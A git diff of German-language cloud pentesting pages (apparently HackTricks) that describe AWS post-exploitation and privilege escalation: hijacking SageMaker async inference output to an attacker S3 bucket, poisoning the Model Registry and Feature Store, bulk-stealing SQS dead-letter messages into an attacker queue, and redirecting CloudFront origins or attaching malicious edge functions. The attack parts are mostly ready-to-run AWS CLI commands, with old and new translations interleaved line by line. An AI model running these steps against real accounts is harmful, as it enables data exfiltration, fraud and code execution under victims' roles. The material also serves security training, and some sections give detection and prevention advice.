Missbrauche die Endpoint-Verwaltung, um asynchrone inference-Ausgaben an einen vom Angreifer kontrollierten S3-Bucket umzuleiten, indem du die aktuelle EndpointConfig klonst und AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath setzt. Dies exfiltrates model predictions (und alle transformierten Inputs, die vom container eingeschlossen werden), ohne das model/container zu modifizieren.
## SageMaker async inference output hijack über UpdateEndpoint AsyncInferenceConfig
Missbrauche die Endpoint-Verwaltung, um asynchrone Inferenz-Ausgaben in ein vom Angreifer kontrolliertes S3-Bucket umzuleiten, indem du die aktuelle EndpointConfig klonst und AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath setzt. Dadurch werden Modellvorhersagen (und alle vom Container transformierten Eingaben) exfiltriert, ohne das Modell/Container zu ändern.
### Anforderungen
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Schreibzugriff auf den vom Angreifer kontrollierten S3-Bucket (über die model execution role oder eine permissive bucket policy)
- Ziel: Ein InService-Endpoint, bei dem asynchrone invocations verwendet werden (oder verwendet werden sollen)
- S3: Möglichkeit, in das vom Angreifer kontrollierte S3-Bucket zu schreiben (über die Modell‑Ausführungsrolle oder eine zu großzügige Bucket‑Policy)
- Ziel: Ein InService-Endpoint, bei dem asynchrone Aufrufe verwendet werden (oder verwendet werden sollen)
### Schritte
1) Sammle die aktuellen ProductionVariants vom Ziel-Endpoint
@@ -91,13 +92,13 @@ EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Erstelle einen attacker bucket (stelle sicher, dass die model execution role PutObject darauf ausführen darf)
2) Erstelle einen attacker bucket (stelle sicher, dass die model execution role PutObject darauf ausführen kann)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) Klone EndpointConfig und hijack AsyncInference-Ausgaben in den attacker bucket
3) EndpointConfig klonen und hijack AsyncInference outputs zum attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -107,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Löse eine async invocation aus und überprüfe, dass Objekte im attacker S3 landen
4) Eine asynchrone Invocation auslösen und überprüfen, dass Objekte im S3-Bucket des Angreifers landen
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -115,28 +116,28 @@ sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Auswirkung
- Leitet asynchrone Inference-Ergebnisse (und error bodies) an attacker-controlled S3 weiter, wodurch covert exfiltration von predictions und potenziell sensiblen pre/post-processed inputs, die vom container erzeugt werden, ermöglicht wird, ohne model code oder image zu ändern und mit minimaler/keiner Downtime.
### Auswirkungen
- Leitet asynchrone Inference-Ergebnisse (und Fehlerantworten) an vom Angreifer kontrolliertes S3 um, ermöglicht die verdeckte Exfiltration von predictions und potenziell sensiblen pre-/post-verarbeiteten Eingaben, die vom Container erzeugt werden, ohne Modellcode oder Image zu ändern und mit minimaler/keiner Ausfallzeit.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Wenn ein attacker CreateModelPackage auf einer Ziel SageMaker Model Package Group ausführen kann, kann er eine neue Modellversion registrieren, die auf ein attacker-controlled container image zeigt und diese sofort als Approved markieren. Viele CI/CD-Pipelines auto-deploy Approved model versions zu endpoints oder training jobs, was in attacker code execution unter den service’s execution roles resultiert. Cross-account exposure kann durch eine permissive ModelPackageGroup resource policy verstärkt werden.
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
### Anforderungen
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- Optional (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup`
- S3: Lesezugriff auf die referenzierte ModelDataUrl (oder host attacker-controlled artifacts)
- Ziel: Eine Model Package Group, die von downstream automation nach Approved versions überwacht wird
- IAM (Minimum, um eine bestehende Gruppe zu vergiften): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- Optional (um eine Gruppe zu erstellen, falls noch keine existiert): `sagemaker:CreateModelPackageGroup`
- S3: Lesezugriff auf die referenzierte ModelDataUrl (oder Hosten von vom Angreifer kontrollierten Artefakten)
- Ziel: Eine Model Package Group, die von nachgelagerter Automation auf Approved-Versionen überwacht wird
### Schritte
1) Region setzen und eine Ziel Model Package Group erstellen/finden
1) Region setzen und eine Ziel-Model Package Group erstellen/finden
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) Bereite Dummy-Modell-Daten in S3 vor
2) Dummy-Modelldaten in S3 vorbereiten
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -144,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Registrieren Sie eine bösartige (hier harmlos) Approved model package version, die auf ein öffentliches AWS DLC image verweist
3) Registriere eine bösartige (hier harmlos) Approved model package version, die auf ein öffentliches AWS DLC image verweist
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -161,17 +162,17 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) Überprüfen Sie, dass die neue genehmigte Version existiert.
4) Überprüfe, dass die neue Approved-Version existiert
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Auswirkungen
- Das Model Registry mit einer Approved-Version vergiften, die auf vom Angreifer kontrollierten Code verweist. Pipelines, die Approved-Modelle automatisch deployen, können das Angreifer-Image ziehen und ausführen, was zur Ausführung von Code unter den endpoint-/training-Rollen führt.
- Mit einer zu permissiven ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kann dieser Missbrauch kontoübergreifend ausgelöst werden.
- Poison the Model Registry mit einer Approved-Version, die auf vom Angreifer kontrollierten Code verweist. Pipelines, die Approved models automatisch deployen, können das Image des Angreifers ziehen und ausführen, wodurch Codeausführung unter endpoint/training roles möglich wird.
- Mit einer zu großzügigen ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kann dieser Missbrauch cross-account ausgelöst werden.
## Feature store poisoning
Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von Online-Inference genutzt werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensible Features auslesen. Dafür ist kein Zugriff auf Modelle oder Endpoints erforderlich.
Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktivierter OnlineStore, um live Feature-Werte zu überschreiben, die von online inference verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensitive Features auslesen. Dafür ist kein Zugriff auf models oder endpoints erforderlich.
{{#ref}}
feature-store-poisoning.md

36
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
View File

@@ -2,16 +2,16 @@
{{#include ../../../../banners/hacktricks-training.md}}
Missbrauch von `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von der online inference verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensitive Features auslesen. Dafür ist kein Zugriff auf Modelle oder Endpoints erforderlich.
Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um live genutzte Feature-Werte, die von der Online-Inferenz verwendet werden, zu überschreiben. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensible Features auslesen. Dafür ist kein Zugriff auf Modelle oder Endpoints erforderlich.
## Anforderungen
- Berechtigungen: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Ziel: Feature Group mit aktiviertem OnlineStore (typischerweise zur Unterstützung von Echtzeit-Inferenz)
- Komplexität: **LOW** - Einfache AWS-CLI-Befehle, keine Modellmanipulation erforderlich
- Ziel: Feature Group mit OnlineStore enabled (typischerweise für Echtzeit-Inferenz)
- Komplexität: **LOW** - Einfache AWS CLI Befehle, keine Modellmanipulation erforderlich
## Schritte
### Aufklärung
### Reconnaissance
1) Feature Groups mit aktiviertem OnlineStore auflisten
```bash
@@ -28,18 +28,18 @@ aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Beachte die `RecordIdentifierFeatureName`, `EventTimeFeatureName` und alle Feature-Definitionen. Diese werden benötigt, um gültige Datensätze zu erstellen.
Beachte die `RecordIdentifierFeatureName`, `EventTimeFeatureName` und alle Feature-Definitionen. Diese werden benötigt, um gültige Records zu erstellen.
### Angriffsszenario 1: Data Poisoning (Bestehende Datensätze überschreiben)
1) Lese den aktuellen legitimen Datensatz aus
1) Lese den aktuellen legitimen Datensatz
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Den Datensatz mit bösartigen Werten vergiften, indem der Inline-Parameter `--record` verwendet wird.
2) Verseuche den record mit bösartigen Werten, indem du den Inline-Parameter `--record` verwendest.
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -56,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
3) Vergiftete Daten überprüfen
3) Überprüfen Sie die vergifteten Daten
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Auswirkung**: ML-Modelle, die dieses Feature verwenden, sehen jetzt für einen legitimen Benutzer `risk_score=0.99`, wodurch möglicherweise seine Transaktionen oder Dienste blockiert werden.
**Auswirkung**: ML-Modelle, die dieses Feature konsumieren, sehen jetzt `risk_score=0.99` für einen berechtigten Benutzer, was möglicherweise deren Transaktionen oder Dienste blockiert.
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
### Angriffsszenario 2: Malicious Data Injection (Create Fraudulent Records)
Füge komplett neue Datensätze mit manipulierten Features ein, um Sicherheitskontrollen zu umgehen:
Füge vollständig neue Datensätze mit manipulierten Features hinzu, um Sicherheitskontrollen zu umgehen:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -91,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Auswirkung**: Ein Angreifer erstellt eine gefälschte Identität mit niedriger Risikobewertung (0.01), die Transaktionen mit hohem Wert betrügerisch durchführen kann, ohne die Betrugserkennung auszulösen.
**Impact**: Ein Angreifer erstellt eine gefälschte Identität mit niedrigem Risiko-Score (0.01), die betrügerische Transaktionen mit hohem Wert durchführen kann, ohne die Betrugserkennung auszulösen.
### Angriffsszenario 3: Sensitive Data Exfiltration
### Angriffszenario 3: Exfiltration sensibler Daten
Mehrere Datensätze lesen, um vertrauliche Merkmale zu extrahieren und das Modellverhalten zu profilieren:
Mehrere Datensätze auslesen, um vertrauliche Features zu extrahieren und das Modellverhalten zu profilieren:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -106,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Auswirkung**: Vertrauliche Features (Risikobewertungen, Transaktionsmuster, personenbezogene Daten) werden für Angreifer offengelegt.
**Auswirkung**: Vertrauliche Features (Risiko-Scores, Transaktionsmuster, persönliche Daten) werden einem Angreifer offengelegt.
### Erstellung einer Test-/Demo Feature Group (optional)
### Erstellung einer Test-/Demo-Feature Group (Optional)
Wenn Sie eine Test Feature Group erstellen müssen:
```bash
@@ -144,5 +144,5 @@ fi
echo "Feature Group ready: $FG"
```
## Referenzen
- [AWS SageMaker Feature Store Dokumentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Best Practices zur Sicherheit von Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Sicherheits-Best-Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

88
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
View File

@@ -2,54 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
## Beschreibung
## Description
Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` an eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt die legitime Wiederherstellungsfunktion von AWS, um sensible Daten zu exfiltrieren, die sich über die Zeit in DLQs angesammelt haben.
Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` an eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt AWS' legitime message recovery-Funktion zur exfiltration sensibler Daten, die sich im Laufe der Zeit in DLQs angesammelt haben.
## Was ist eine Dead-Letter Queue (DLQ)?
## What is a Dead-Letter Queue (DLQ)?
Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch gesendet werden, wenn sie von der Hauptanwendung nicht erfolgreich verarbeitet werden konnten. Diese fehlgeschlagenen Nachrichten enthalten häufig:
Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch gesendet werden, wenn sie von der Hauptanwendung nicht erfolgreich verarbeitet werden können. Diese fehlgeschlagenen Nachrichten enthalten häufig:
- Sensible Anwendungsdaten, die nicht verarbeitet werden konnten
- Fehlermeldungen und Debugging-Informationen
- Fehlerdetails und Debugging-Informationen
- Personenbezogene Daten (PII)
- API-Tokens, Zugangsdaten oder andere Geheimnisse
- Geschäftskritische Transaktionsdaten
DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind daher wertvolle Ziele, da sie über die Zeit sensible Daten ansammeln, die Anwendungen nicht korrekt verarbeiten konnten.
DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind deshalb wertvolle Ziele, da sie im Laufe der Zeit sensible Daten ansammeln, die Anwendungen nicht richtig verarbeiten konnten.
## Angriffsszenario
## Attack Scenario
**Real-world example:**
1. **E-commerce application** verarbeitet Kundenbestellungen über SQS
2. **Some orders fail** (Zahlungsprobleme, Inventarfehler usw.) und werden in eine DLQ verschoben
3. **DLQ accumulates** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Attacker gains access** zu AWS-Zugangsdaten mit SQS-Berechtigungen
5. **Attacker discovers** die DLQ enthält Tausende fehlgeschlagener Bestellungen mit sensiblen Daten
6. **Instead of trying to access individual messages** (langsam und auffällig), verwendet der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten in Bulk in seine eigene Queue zu übertragen
7. **Attacker extracts** alle historischen sensiblen Daten in einem Vorgang
**Beispiel aus der Praxis:**
1. **E-Commerce-Anwendung** verarbeitet Kundenbestellungen über SQS
2. **Einige Bestellungen schlagen fehl** (Zahlungsprobleme, Inventarprobleme, etc.) und werden in eine DLQ verschoben
3. **DLQ sammelt** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Angreifer erlangt Zugriff** auf AWS-Anmeldeinformationen mit SQS-Berechtigungen
5. **Angreifer entdeckt**, dass die DLQ Tausende fehlgeschlagener Bestellungen mit sensiblen Daten enthält
6. **Anstatt zu versuchen, auf einzelne Nachrichten zuzugreifen** (langsam und auffällig), verwendet der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten in einer Massenoperation in seine eigene Queue zu verschieben
7. **Angreifer extrahiert** alle historischen sensiblen Daten in einer Operation
## Anforderungen
- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue über RedrivePolicy referenziert).
- IAM-Berechtigungen (ausgeführt als das kompromittierte Opferprinzipal):
## Requirements
- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue per RedrivePolicy referenziert).
- IAM-Berechtigungen (ausgeführt als der kompromittierte Opfer-Principal):
- Auf der DLQ (Quelle): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Auf der Ziel-Queue: Berechtigung zum Zustellen von Nachrichten (z. B. Queue-Policy, die `sqs:SendMessage` vom Opferprinzipal erlaubt). Für Ziele im selben Account ist dies in der Regel standardmäßig erlaubt.
- Auf der Ziel-Queue: Berechtigung, Nachrichten zuzustellen (z. B. Queue-Policy, die `sqs:SendMessage` vom Opfer-Principal erlaubt). Für Ziele im selben Account ist dies typischerweise standardmäßig erlaubt.
- Wenn SSE-KMS aktiviert ist: auf der Quell-CMK `kms:Decrypt`, und auf der Ziel-CMK `kms:GenerateDataKey`, `kms:Encrypt`.
## Auswirkung
Exfiltriere sensible Payloads, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads), sehr schnell unter Verwendung nativer SQS-APIs. Funktioniert auch cross-account, wenn die Ziel-Queue-Policy `SendMessage` vom Opferprinzipal erlaubt.
## Impact
Exfiltrate sensible Nutzlasten, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads), mit hoher Geschwindigkeit unter Nutzung der nativen SQS-APIs. Funktioniert kontoübergreifend, wenn die Policy der Ziel-Queue `SendMessage` vom Opfer-Principal erlaubt.
## Missbrauch
## How to Abuse
- Identifiziere die ARN der Opfer-DLQ und stelle sicher, dass sie tatsächlich als DLQ von irgendeiner Queue referenziert wird (jede Queue ist ausreichend).
- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und erhalte ihre ARN.
- Starte eine message move task von der Opfer-DLQ zu deiner Ziel-Queue.
- Überwache den Fortschritt oder storniere bei Bedarf.
- Identifiziere die ARN der Opfer-DLQ und stelle sicher, dass sie tatsächlich von einer Queue als DLQ referenziert wird (jede Queue ist ausreichend).
- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und erhalte deren ARN.
- Starte eine Message-Move-Task von der Opfer-DLQ zu deiner Ziel-Queue.
- Überwache den Fortschritt oder breche bei Bedarf ab.
### CLI-Beispiel: Exfiltrieren von Kundendaten aus E-Commerce DLQ
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Szenario**: Ein Angreifer hat AWS-Zugangsdaten kompromittiert und festgestellt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Kundenbestellverarbeitung enthält.
**Szenario**: Ein Angreifer hat AWS-Anmeldeinformationen kompromittiert und entdeckt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Kundenbestellverarbeitung enthält.
1) **Discover and examine the victim DLQ**
1) **Die Opfer-DLQ entdecken und untersuchen**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Erstelle attacker-controlled Ziel-Queue**
2) **Erstelle eine vom Angreifer kontrollierte Ziel-Queue**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -71,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Führe den massenhaften Nachrichtendiebstahl aus**
3) **Führe das bulk message theft aus**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
@@ -86,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Sammle die gestohlenen sensiblen Daten**
4) **Sammeln der gestohlenen vertraulichen Daten**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -116,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Cross-Account-Hinweise
- Die Ziel-Queue muss eine resource policy haben, die dem Opfer-Principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS Grants/Berechtigungen).
- Die Ziel-Queue muss eine Resource Policy enthalten, die dem betroffenen Principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS-Grants/Berechtigungen).
## Warum dieser Angriff effektiv ist
1. **Legitime AWS-Funktion**: Nutzt eingebaute AWS-Funktionalität, wodurch es schwer ist, dies als bösartig zu erkennen
2. **Massenoperation**: Überträgt tausende Nachrichten schnell statt langsamen Einzelzugriffs
3. **Historische Daten**: DLQs sammeln über Wochen/Monate sensible Daten an
4. **Unbemerkt**: Viele Organisationen überwachen den Zugriff auf DLQs nicht genau
5. **Cross-Account-fähig**: Kann Daten in das eigene AWS-Konto des Angreifers exfiltrieren, wenn die Berechtigungen dies erlauben
1. **Legitime AWS-Funktion**: Nutzt integrierte AWS-Funktionalität, was es schwer macht, als bösartig erkannt zu werden
2. **Massenoperation**: Überträgt schnell tausende Nachrichten statt langsamen Einzelzugriffs
3. **Historische Daten**: DLQs speichern über Wochen/Monate sensible Daten
4. **Unauffällig**: Viele Organisationen überwachen den Zugriff auf DLQs nicht genau
5. **Cross-Account-fähig**: Kann an das eigene AWS-Konto des Angreifers exfiltrieren, wenn Berechtigungen dies erlauben
## Erkennung und Prävention
### Erkennung
Überwache CloudTrail auf verdächtige `StartMessageMoveTask` API-Aufrufe:
Überwachen Sie CloudTrail auf verdächtige `StartMessageMoveTask` API-Aufrufe:
```json
{
"eventName": "StartMessageMoveTask",
@@ -145,10 +145,10 @@ done
}
```
### Prävention
1. **Prinzip der geringsten Privilegien**: Beschränke die `sqs:StartMessageMoveTask`-Berechtigungen auf ausschließlich notwendige Rollen
2. **DLQs überwachen**: Richte CloudWatch-Alarme für ungewöhnliche DLQ-Aktivität ein
3. **Kontoübergreifende Richtlinien**: Überprüfe SQS-Queue-Policies, die kontoübergreifenden Zugriff erlauben, sorgfältig
4. **DLQs verschlüsseln**: Verwende SSE-KMS mit eingeschränkten Schlüsselrichtlinien
5. **Regelmäßige Bereinigung**: Lass sensible Daten nicht unbegrenzt in DLQs ansammeln
1. **Prinzip der geringsten Privilegien**: Beschränken Sie die Berechtigung `sqs:StartMessageMoveTask` auf nur notwendige Rollen
2. **DLQs überwachen**: Richten Sie CloudWatch-Alarme für ungewöhnliche DLQ-Aktivität ein
3. **Kontoübergreifende Richtlinien**: Überprüfen Sie SQS-Queue-Richtlinien, die kontoübergreifenden Zugriff erlauben, sorgfältig
4. **DLQs verschlüsseln**: Verwenden Sie SSE-KMS mit eingeschränkten Schlüsselrichtlinien
5. **Regelmäßige Bereinigung**: Lassen Sie sensible Daten nicht unbegrenzt in DLQs ansammeln
{{#include ../../../banners/hacktricks-training.md}}

20
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md
View File

@@ -6,13 +6,13 @@
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
Ein Angreifer, der die Berechtigungen `cloudfront:UpdateDistribution` und `cloudfront:GetDistributionConfig` besitzt, kann die Konfiguration einer CloudFront-Distribution ändern. Er benötigt keine Berechtigungen für den Ziel S3 bucket selbst, obwohl der Angriff einfacher ist, wenn dieser Bucket eine permissive Policy hat, die Zugriff vom cloudfront.amazonaws.com service principal erlaubt.
Ein Angreifer, der die Berechtigungen cloudfront:UpdateDistribution und cloudfront:GetDistributionConfig besitzt, kann die Konfiguration einer CloudFront-Distribution ändern. Er benötigt keine Berechtigungen für den Ziel-S3-Bucket selbst, obwohl der Angriff einfacher ist, wenn dieser Bucket eine großzügige Policy hat, die Zugriff vom Service Principal cloudfront.amazonaws.com erlaubt.
Der Angreifer ändert die Origin-Konfiguration einer Distribution, sodass sie auf einen anderen S3 bucket oder auf einen vom Angreifer kontrollierten Server zeigt. Zuerst holt er die aktuelle Distribution-Konfiguration:
Der Angreifer ändert die Origin-Konfiguration einer Distribution so, dass sie auf einen anderen S3-Bucket oder auf einen vom Angreifer kontrollierten Server zeigt. Zuerst ruft er die aktuelle Distribution-Konfiguration ab:
```bash
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
```
Dann bearbeiten sie current-config.json, um den origin auf die neue Ressource zu verweisen — zum Beispiel einen anderen S3 bucket:
Dann bearbeiten sie current-config.json, um den origin auf die neue Ressource zu verweisen — zum Beispiel einen anderen S3-Bucket:
```bash
...
"Origins": {
@@ -40,7 +40,7 @@ Dann bearbeiten sie current-config.json, um den origin auf die neue Ressource zu
},
...
```
Wenden Sie schließlich die geänderte Konfiguration an (Sie müssen beim Aktualisieren den aktuellen ETag angeben):
Wenden Sie schließlich die geänderte Konfiguration an (beim Aktualisieren müssen Sie das aktuelle ETag angeben):
```bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
@@ -97,10 +97,10 @@ aws cloudfront create-function --name malicious-function --function-config '{
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js
# Hole das ETag der Funktion in der DEVELOPMENT-Stage
# Hole das ETag der Funktion in der DEVELOPMENT stage
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
# Veröffentliche die Funktion in der LIVE-Stage
# Veröffentliche die Funktion in der LIVE stage
aws cloudfront publish-function --name malicious-function --if-match <etag>
```
@@ -173,7 +173,7 @@ body: JSON.stringify({ message: "Credentials stolen" })
# Paketieren der Lambda@Edge-Funktion
zip malicious-lambda-edge.zip malicious-lambda-edge.js
# Erstelle die Lambda@Edge-Funktion mit einer privilegierten Rolle
# Erstellen der Lambda@Edge-Funktion mit einer privilegierten Rolle
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
@@ -182,7 +182,7 @@ aws lambda create-function \
--zip-file fileb://malicious-lambda-edge.zip \
--region <region>
# Veröffentliche eine Version der Funktion
# Veröffentlichen einer Version der Funktion
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
```
@@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference
```
```bash
# Aktualisierte Distribution-Konfiguration anwenden (aktuellen ETag verwenden)
# Aktualisierte Distribution-Konfiguration anwenden (muss aktuellen ETag verwenden)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
aws cloudfront update-distribution \
@@ -210,7 +210,7 @@ aws cloudfront update-distribution \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG
# Funktion auslösen, indem du die Distribution anfragst
# Funktion auslösen, indem die Distribution angefragt wird
curl -v https://<distribution-domain>.cloudfront.net/
```

101
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
View File

@@ -4,7 +4,7 @@
## EC2
Für mehr **Informationen zu EC2** siehe:
Weitere **Informationen zu EC2**:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@ Für mehr **Informationen zu EC2** siehe:
### `iam:PassRole`, `ec2:RunInstances`
Ein Angreifer könnte **eine Instanz erstellen, eine IAM-Rolle anhängen und dann auf die Instanz zugreifen**, um die IAM-Rollen-Anmeldeinformationen vom Metadata-Endpunkt zu stehlen.
Ein Angreifer könnte **eine Instance erstellen, ihr eine IAM-Rolle anhängen und dann auf die Instance zugreifen**, um die IAM-Rollen-Credentials vom metadata endpoint zu stehlen.
- **Zugriff über SSH**
Starte eine neue Instanz mit einem **erstellten** **ssh key** (`--key-name`) und verbinde dich dann per ssh damit (wenn du einen neuen erstellen möchtest, benötigst du möglicherweise die Berechtigung `ec2:CreateKeyPair`).
Starte eine neue Instance unter Verwendung eines **erstellten** **ssh key** (`--key-name`) und verbinde dich dann per ssh damit (wenn du einen neuen erstellen willst, benötigst du möglicherweise die Berechtigung `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
